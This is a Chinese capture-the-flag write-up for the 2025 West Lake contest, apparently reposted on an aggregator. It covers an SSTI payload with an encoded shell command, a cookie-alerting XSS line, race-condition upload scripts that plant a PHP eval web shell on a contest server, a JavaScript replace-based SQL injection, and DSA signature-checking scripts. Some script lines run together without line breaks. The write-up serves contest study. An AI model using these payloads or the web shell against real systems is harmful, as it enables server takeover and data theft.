25西湖ctf

news/2025/1/21 12:05:40/

2025西湖冬季

图片不全去我blog找👇

25西湖 | DDL'S BLOG

文章所有参考将在文末给出

web

web1

ssti

太简单的不赘述,知道用就行

{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('$(printf "\150\145\141\144\40\57\146\154\141\52")').read()}}

赘述

个admin");alert(document.cookie);("能弹出admin

web2

先是弱口令爆破

密码year2000
用户admin

上传的php文件会被删除,条件竞争

普通脚本

import io
import re
import requests
import threading
​
# 定义目标 URL 和正则表达式
up_url = 'http://139.155.126.78:27102/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
php_idx = '1f14bba00da3b75118bc8dbf8625f7d0/(.*?)\\.php</'
payload = '''<?php
phpinfo();
ignore_user_abort(true);
set_time_limit(0);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {file_put_contents($file, $code);
}
?>'''
p = io.StringIO(payload)
​
​
# 定义任务函数
def fetch_and_process():while True:try:# 获取页面内容headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Cache-Control": "max-age=0","Cookie": "PHPSESSID=keub5bch0acvude4bsikfa2m9k","Host": "139.155.126.78:27102","Origin": "http://139.155.126.78:28385","Referer": "http://139.155.126.78:28385/admin/index.php","Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}
​# you should modify File content and Content-Type by yourselffiles = {"file_upload": ("s.php", p, "image/png")}url = "http://139.155.126.78:27102/admin/index.php"res = requests.post(url=url, headers=headers, files=files, verify=False)shell_path = re.findall(php_idx, res.text)# 访问提取的 PHP 文件
​print(requests.get(f'{up_url}{shell_path[0]}.php').text)print(f'{up_url}{shell_path[0]}.php')for i in range(10):print(requests.get(f'{up_url}{shell_path[0]}.php').text)except:pass
​
​
# 启动多线程
num_threads = 50
threads = []
​
for _ in range(num_threads):thread = threading.Thread(target=fetch_and_process)thread.daemon = True  # 设置为守护线程threads.append(thread)thread.start()
​
# 保持主线程运行
for thread in threads:thread.join()

正则脚本

​
import requests
import re
import time
from multiprocessing import Process
​
burp0_url = "http://139.155.126.78:16004/admin/index.php"
burp0_cookies = {"PHPSESSID": "iua127iuofecbllp3f56gtg3qb"}
burp0_headers = {"Cache-Control": "max-age=0","Origin": "http://139.155.126.78:16004","Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryt2b9EtsFNrTXH9Tl","Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Referer": "http://139.155.126.78:16004/admin/index.php","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Connection": "close"
}
burp0_data = """------WebKitFormBoundaryt2b9EtsFNrTXH9Tl\r\nContent-Disposition: form-data; name="file_upload"; filename="1.php"\r\nContent-Type: text/php\r\n\r\n<?php\nreadfile("/flag");\n?>\r\n------WebKitFormBoundaryt2b9EtsFNrTXH9Tl--\r\n"""
​
​
# 从响应中提取上传后的文件路径
def extract_uploaded_file(response_text):# 正则表达式匹配上传后的文件路径match = re.search(r'文件已保存为:\s*(.*?)(?=\s*</p>)', response_text)if match:return match.group(1)return None
​
​
# 尝试上传文件并访问它
def upload_and_access_file():while True:try:# 上传文件from time import timeimport hashlib# print(hashlib.md5())response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,timeout=5,proxies={"http":"127.0.0.1:8080"})if response.status_code == 200:print("File uploaded successfully, parsing response to find the file path...")
​# 提取上传后的文件路径file_path = extract_uploaded_file(response.text)print(file_path)if file_path:# 完整的文件访问路径file_url = f"http://139.155.126.78:16004/admin/{file_path[1:]}"print(f"File uploaded to: {file_url}")
​try:# 立即访问文件access_response = requests.get(file_url, timeout=5,proxies={"http":"127.0.0.1:8080"})if access_response.status_code == 200:print("Successfully accessed the file!")print("File Content:\n", access_response.text)exit()else:print(f"Failed to access the file, status code: {access_response.status_code}")except requests.exceptions.RequestException as e:print(f"Error accessing the file: {e}")else:print("Failed to find the uploaded file path in the response.")else:print(f"File upload failed, status code: {response.status_code}")
​except requests.exceptions.RequestException as e:print(f"Error uploading file: {e}")
​
​
​
# 创建并启动多个进程
def start_processes(num_processes=10):processes = []for _ in range(num_processes):process = Process(target=upload_and_access_file)processes.append(process)process.start()
​# 等待所有进程完成for process in processes:process.join()
​
​
if __name__ == "__main__":start_processes(50)  # 启动 10 个进程来并行执行上传和访问任务
​
​

web3

源码

​
var express = require('express');
var router = express.Router();
module.exports = router;
​
router.get('/',(req,res,next)=>{if(req.query.info){if(req.url.match(/\,/ig)){res.end('hacker1!');}var info = JSON.parse(req.query.info);if(info.username&&info.password){var username = info.username;var password = info.password;if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){res.end('hacker2!');}var sql = "select * from userinfo where username = '{username}' and password = '{password}'";sql = sql.replace("{username}",username);sql = sql.replace("{password}",password);connection.query(sql,function (err,rs) {if (err) {res.end('error1');}else {if(rs.length>0){res.sendFile('/flag');}else {res.end('username or password error');}}})}else{res.end("please input the data");}}else{res.end("please input the data");}
})

考的是js代码的replace函数在替换的时候的特殊指定字符串替换

/?info=%7B%22username%22%3A%22%24%60%20union%20select%201%2C2%23%22%2C%22password%22%3A%22adminaaaaaaa%22%7D
源:
/?info={"username":"$` union select 1,2#","password":"adminaaaaaaa"}

image-20250118215332862

image-20250118215227333

misc

磁盘

image-20250118122716661

提取俩文件

image-20250118122738018

放进去.密码是图片,

image-20250118193301107

挂载直接出

image-20250118193419263

iot

image-20250118124528183

easydatalog

日志文件提取脚本

import json
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64
​
# 读取公钥文件并存储到字典中
public_keys = {}
public_folder = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/public'
for filename in os.listdir(public_folder):if filename.endswith('.pem'):userid = filename[7:11]  # 提取 useridwith open(os.path.join(public_folder, filename), 'rb') as key_file:public_key = DSA.import_key(key_file.read())  # 导入 DSA 公钥public_keys[userid] = public_key
​
# 读取签名数据文件
sign_data_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/data-sign.csv'
with open(sign_data_file, newline='', encoding='utf-8') as csvfile:reader = csv.DictReader(csvfile)altered_data = []  # 用于存储被篡改的数据
​for row in reader:userid = row['username']name_signature = base64.b64decode(row['name_signature'])idcard_signature = base64.b64decode(row['idcard_signature'])phone_signature = base64.b64decode(row['phone_signature'])
​# 读取原始数据original_data_file = 'original_data.csv'with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile:original_reader = csv.DictReader(original_csvfile)for original_row in original_reader:if original_row['user'] == userid:data_str = original_row['data']data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"'))  # 处理转义字符break
​# 解码 name 字段中的 Unicode 转义字符name = data_dict['name'].encode('utf-8').decode('unicode_escape')
​# 查找对应公钥public_key = public_keys.get(userid.zfill(4))  # userid 左侧补零至四位数
​if public_key is not None:# 使用 DSS 算法验证签名signer = DSS.new(public_key, 'fips-186-3')
​# 验证 namename_hash = SHA256.new(name.encode())  # 对解码后的名字进行哈希计算try:signer.verify(name_hash, name_signature)print(f"用户 {userid} 的 name 验证通过")except ValueError:print(f"用户 {userid} 的 name 验证失败,可能被篡改")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'name'})
​# 验证 idcardidcard_hash = SHA256.new(data_dict['idcard'].encode())try:signer.verify(idcard_hash, idcard_signature)print(f"用户 {userid} 的 idcard 验证通过")except ValueError:print(f"用户 {userid} 的 idcard 验证失败,可能被篡改")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'idcard'})
​# 验证 phonephone_hash = SHA256.new(data_dict['phone'].encode())try:signer.verify(phone_hash, phone_signature)print(f"用户 {userid} 的 phone 验证通过")except ValueError:print(f"用户 {userid} 的 phone 验证失败,可能被篡改")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'phone'})else:print(f"未找到 {userid} 对应的公钥")
​
# 将被篡改的数据写入新 csv 文件
if altered_data:altered_file = 'F:/ss/西湖/tempdir/DS附件/DSASignatureData附件/altered_data.csv'with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile:fieldnames = ['userid', 'name', 'idcard', 'phone']  # 输出格式writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
​writer.writeheader()for row in altered_data:# 将被篡改的数据写入 CSVwriter.writerow({'userid': row['userid'],'name': row['name'],'idcard': row['idcard'],'phone': row['phone']})print(f"被篡改的数据已保存到 {altered_file}")
else:print("未发现被篡改的数据")

剩下的就是misc了,不做了

DSASignatureData

先将json数据另存,然后分离出啦

tshark -r filter1.pcapng -T fields -e http.request.uri.query.parameter -e json.object -E separator=, > extracted_data.txt

拿脚本做验证

import json
import csv
import os
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64public_keys = {}
public_folder = 'public'
for filename in os.listdir(public_folder):if filename.endswith('.pem'):userid = filename[7:11]with open(os.path.join(public_folder, filename), 'rb') as key_file:public_key = DSA.import_key(key_file.read())public_keys[userid] = public_keysign_data_file = 'data-sign.csv'
with open(sign_data_file, newline='', encoding='utf-8') as csvfile:reader = csv.DictReader(csvfile)altered_data = []for row in reader:userid = row['username']name_signature = base64.b64decode(row['name_signature'])idcard_signature = base64.b64decode(row['idcard_signature'])phone_signature = base64.b64decode(row['phone_signature'])original_data_file = 'extracted_data.csv'with open(original_data_file, newline='', encoding='utf-8-sig') as original_csvfile:original_reader = csv.DictReader(original_csvfile)for original_row in original_reader:if original_row['user'] == userid:data_str = original_row['data']data_dict = json.loads(data_str.replace('""', '"').replace('\\"', '"'))breakname = data_dict['name'].encode('utf-8').decode('unicode_escape')public_key = public_keys.get(userid.zfill(4))if public_key is not None:signer = DSS.new(public_key, 'fips-186-3')name_hash = SHA256.new(name.encode())try:signer.verify(name_hash, name_signature)print(f"用户 {userid} 的 name 验证通过")except ValueError:print(f"用户 {userid} 的 name 验证失败")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'name'})idcard_hash = SHA256.new(data_dict['idcard'].encode())try:signer.verify(idcard_hash, idcard_signature)print(f"用户 {userid} 的 idcard 验证通过")except ValueError:print(f"用户 {userid} 的 idcard 验证失败")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'idcard'})phone_hash = SHA256.new(data_dict['phone'].encode())try:signer.verify(phone_hash, phone_signature)print(f"用户 {userid} 的 phone 验证通过")except ValueError:print(f"用户 {userid} 的 phone 验证失败")altered_data.append({'userid': userid,'name': name,'idcard': data_dict['idcard'],'phone': data_dict['phone'],'error_field': 'phone'})else:print(f"未找到 {userid} 对应的公钥")altered_file = 'altered_data.csv'
with open(altered_file, 'w', newline='', encoding='utf-8') as csvfile:fieldnames = ['userid', 'name', 'idcard', 'phone']writer = csv.DictWriter(csvfile, fieldnames=fieldnames)writer.writeheader()for row in altered_data:writer.writerow({'userid': row['userid'],'name': row['name'],'idcard': row['idcard'],'phone': row['phone']})

参考

https://baozongwi.xyz/2025/01/18/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%912025/#
https://mp.weixin.qq.com/s/hytf2uF2dKVOTv1Ht24Heg

http://www.ppmy.cn/news/1564943.html

相关文章

ASP.NET Core - 选项系统之源码介绍

ASP.NET Core - 选项系统之源码介绍 ConfigureIConfigureOptions、IConfigureNamedOptions、IPostConfigureOptionsOptionsBuilderIValidateOptionsOptions<TOptions>、UnnamedOptionsManager<TOptions>IOptionsSnapshot<TOptions>、OptionsManager<TOpti…

AI 编程工具—Cursor进阶使用 自动补全

文章目录 AI 编程工具—Cursor进阶使用 自动补全自动生成变量重命名全部变量根据之前的建议给出多行提示批量添加注释批量修复问题光标预测Cursor Tab的设置AI 编程工具—Cursor进阶使用 自动补全 这个自动补全功能是所有ide 里面最强的了,我们只需要一直按tab 键 自动生成变…

Jenkins-pipeline语法说明

一. 简述&#xff1a; Jenkins Pipeline 是一种持续集成和持续交付&#xff08;CI/CD&#xff09;工具&#xff0c;它允许用户通过代码定义构建、测试和部署流程。 二. 关于jenkinsfile&#xff1a; 1. Sections部分&#xff1a; Pipeline里的Sections通常包含一个或多个Direc…

60,【1】BUUCF web [RCTF2015]EasySQL1

先查看源码 1&#xff0c;changepwd&#xff08;修改密码&#xff09; <?php // 开启会话&#xff0c;以便使用会话变量 session_start();// 设置页面的内容类型为 HTML 并使用 UTF-8 编码 header("Content-Type: text/html; charsetUTF-8");// 引入配置文件&…

人工智能领域单词:英文解释

目录 1、前言2、单词组1&#xff1a;15个3、单词组2&#xff1a;15个4、单词组3&#xff1a;15个5、单词组4&#xff1a;15个6、单词组5&#xff1a;15个 1、前言 亲爱的家人们&#xff0c;创作很不容易&#xff0c;若对您有帮助的话&#xff0c;请点赞收藏加关注哦&#xff0…

数据结构详解——堆与二叉树

​ 目录 树的概念树的表示方法二叉树的概念特殊的二叉树二叉树的性质二叉树的存储结构顺序存储链式存储 堆的概念与结构堆的性质堆的实现堆的初始化入堆堆的扩容向上调整算法出堆&#xff08;最顶端元素&#xff09;向下调整算法 二叉树的实现二叉树的创建二叉树的销毁二叉树的…

Rust 零大小类型(ZST)

在 Rust 中&#xff0c;零大小类型&#xff08;Zero-Sized Type&#xff0c;简称 ZST&#xff09; 是指在内存中不占用任何存储空间的类型。这些类型的大小为 0 字节&#xff0c;编译器会对它们进行优化&#xff0c;避免为它们分配实际的存储空间。ZST 是 Rust 类型系统中一个非…

基于Spring Boot3 + Vue3 + JDK17的现代化的Java应用开发框架

快速启动 Guns v8前端启动 前端需要使用Node 20&#xff0c;请先安装node20&#xff0c;请使用yarn启动&#xff0c;具体启动方法如下&#xff1a; # 安装依赖 yarn# 启动前端项目 yarn run dev# 打包 npm run buildGuns v8后端启动 以下为后台启动的过程&#xff1a; 重要…